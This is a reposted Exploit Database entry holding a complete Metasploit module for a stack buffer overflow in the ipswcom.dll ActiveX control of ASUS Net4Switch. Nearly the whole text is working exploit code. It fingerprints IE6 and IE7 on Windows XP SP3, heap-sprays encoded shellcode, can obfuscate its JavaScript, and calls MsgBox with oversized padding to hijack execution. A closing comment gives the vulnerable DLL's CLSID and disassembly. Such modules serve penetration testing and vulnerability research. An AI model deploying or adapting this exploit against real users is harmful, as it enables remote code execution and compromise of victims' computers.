ASUS Net4Switch – ‘ipswcom.dll’ ActiveX Stack Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-02-29
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18538/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "ASUS Net4Switch ipswcom.dll ActiveX Stack Buffer Overflow",
  			'Description'=> %q{
  					This module exploits a vulnerability found in ASUS Net4Switch's ipswcom.dll
  				ActiveX control.A buffer overflow condition is possible in multiple places all
  				because of the poor use of the CxDbgPrint() function, which allows remote attackers
  				to gain arbitrary code execution under the context of the user.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Dmitriy Evdokimov', #Initial discovery, poc
  					'sinn3r' #Metasploit
  				],
  			'References' =>
  				[
  					[ 'OSVDB', 'http://osvdb.org/show/osvdb/79438' ],
  					[ 'URL', 'http://dsecrg.com/pages/vul/show.php?id=417' ]
  				],
  			'Payload'=>
  				{
  					'BadChars'=> "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'DefaultOptions'=>
  				{
  					'ExitFunction' => "seh",
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Automatic', {} ],
  					[ 'IE 6 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ],
  					[ 'IE 7 on Windows XP SP3', { 'Max' => '0x40000', 'Offset' => '0x500' } ]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Feb 17 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
  			], self.class)
  	end
  
  	def get_target(agent)
  		return target if target.name != 'Automatic'
  
  		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
  			return targets[1]#IE 6 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
  			return targets[2]#IE 7 on Windows XP SP3
  		else
  			return nil
  		end
  	end
  
  	def on_request_uri(cli, request)
  		agent = request.headers['User-Agent']
  		my_target = get_target(agent)
  
  		if my_target.nil?
  			print_error("Browser not supported: #{agent.to_s}: #{cli.peerhost}:#{cli.peerport}")
  			send_not_found(cli)
  			return
  		end
  
  		p = payload.encoded
  		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
  		nops = Rex::Text.to_unescape(make_nops(4))
  
  		spray = <<-JS
  		var heap_obj = new heapLib.ie(0x20000);
  		var code = unescape("#{js_code}");
  		var nops = unescape("#{nops}");
  
  		while (nops.length < 0x80000) nops += nops;
  		var offset = nops.substring(0, #{my_target['Offset']});
  		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  
  		while (shellcode.length < 0x40000) shellcode += shellcode;
  		var block = shellcode.substring(0, (0x80000-6)/2);
  
  		heap_obj.gc();
  
  		for (var i=1; i < 0x300; i++) {
  			heap_obj.alloc(block);
  		}
  		JS
  
  		spray = heaplib(spray, {:noobfu => true})
  
  		js = <<-JS
  		var obj = new ActiveXObject("ipswcom.IPSWComItf");
  
  		#{spray}
  
  		function generate_padding(d, s) {
  			var tmp = d;
  			while (tmp.length < s) {
  				tmp += tmp;
  			}
  			var buf = tmp.substring(0, s/2);
  			tmp = null;
  			return buf;
  		}
  
  		var arg1 = generate_padding(unescape("%u4141"), 4);
  
  		var arg2 = "A"; // Expands to 0x0041, helps us to align the stack
  		arg2 += generate_padding(unescape("%u4343"), 2680);
  		arg2 += unescape("%u4242%u4242");
  		arg2 += unescape("%u0d0d%u0d0d");
  		arg2 += generate_padding(unescape("%u0d0d"), #{my_target['Max']}-arg2.length);
  
  		obj.MsgBox(arg1, arg2, 2);
  		JS
  
  		#obfuscate on demand
  		if datastore['OBFUSCATE']
  			js = ::Rex::Exploitation::JSObfu.new(js)
  			js.obfuscate
  		end
  
  		html = <<-EOS
  		<html>
  		<head>
  		</head>
  		<body>
  		<script>
  		#{js}
  		</script>
  		</body>
  		</html>
  		EOS
  
  		html = html.gsub(/\t\t/, '')
  
  		print_status("Sending html to #{cli.peerhost}:#{cli.peerport}...")
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  
  	end
  
  end
  
  =begin
  Download:
  http://www.softpedia.com/progDownload/ASUS-Net4Switch-Download-203619.html
  
  clsid:1B9E86D8-7CAF-46C8-9938-569B21E17A8E
  C:\Program Files\ASUS\Net4Switch\ipswcom.dll
  
  .text:10030523 pushecx
  .text:10030524 mov eax, [ebp+arg_C]
  .text:10030527 mov [ebp+var_4], eax
  .text:1003052A cmp [ebp+var_4], 0
  .text:1003052E jzshort loc_10030541<-- uType 10h
  .text:10030530 cmp [ebp+var_4], 1
  .text:10030534 jzshort loc_10030573<-- uType 44h
  .text:10030536 cmp [ebp+var_4], 2
  .text:1003053A jzshort loc_100305A5<-- CxDbgPrint
  ...
  .text:100305A5 loc_100305A5: ; CODE XREF: MsgBox+1Aj
  .text:100305A5 mov eax, [ebp+lpText]
  .text:100305A8 pusheax
  .text:100305A9 pushoffset aIpsw_alertS ; "[IPSW_alert] = %s"
  .text:100305AE push0FFh
  .text:100305B3 callds:CxDbgPrint
  =end